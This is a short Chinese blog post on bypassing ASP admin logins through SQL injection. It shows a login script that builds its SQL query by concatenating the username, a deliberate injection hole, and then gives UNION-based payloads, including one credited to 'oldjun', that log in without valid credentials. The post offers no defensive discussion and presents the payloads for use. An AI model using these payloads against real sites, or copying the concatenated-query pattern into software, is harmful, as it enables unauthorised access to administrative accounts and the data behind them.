ASP注入万能登陆密码
程序代码
<%
username=trim(request.form("username"))
password=trim(request.form("password"))
sql="select * from admin where user='"&username&"'"
set rs=server.createobject("adodb.recordset")
rs.open sql,conn,1,1
if rs.eof then
checksysuser=false
else
passwd=trim(rs("pwd"))
if passwd=password then
session("admin")=username
checksysuser=true
else
checksysuser=false
end if
end if
rs.close
conn.close
if checksysuser=true then
response.redirect("main.asp")
else
errmsg="<font color=#ff0000><b>用户名输入有误,请重新输入!</b></font>"
end if
%>
先在数据库中查询用户名对应的密码,然后再和用户输入的密码对比,导致'or'='or'这样的万能登陆密码失效。
但如果在上面的程序中,用户名输入 程序代码
' union select 1,1,1 from admin where ''='
,密码输入1,就可以登陆成功,原理很简单,就不多说了。
顺便附上oldjun的语句:
程序代码
' union select 1,1,1 as pwd from admin where ''='
上一篇: 远程控制木马最初、后来和现在面临的问题
下一篇: 再见,print
推荐阅读
-
构建ASP.NET MVC4+EF5+EasyUI+Unity2.x注入的后台管理系统(24)-权限管理系统-将权限授权给角色
-
ASP.NET Core 2.2 WebApi 系列【三】AutoFac 仓储接口的依赖注入
-
ASP.NET MVC IOC依赖注入之Autofac系列(一)
-
ASP+MSSQL2000 数据库被批量注入后的解决方法第1/2页
-
ASP也使用ORM,给ASP上所有的SQL注入画上句号
-
在ASP.NET Core中实现自动注入、批量注入
-
ASP.NET防止SQL注入的方法示例
-
编写通用的asp防注入程序
-
asp.netcore di 实现批量接口注入
-
ASP.NET Core笔记(2) - 依赖注入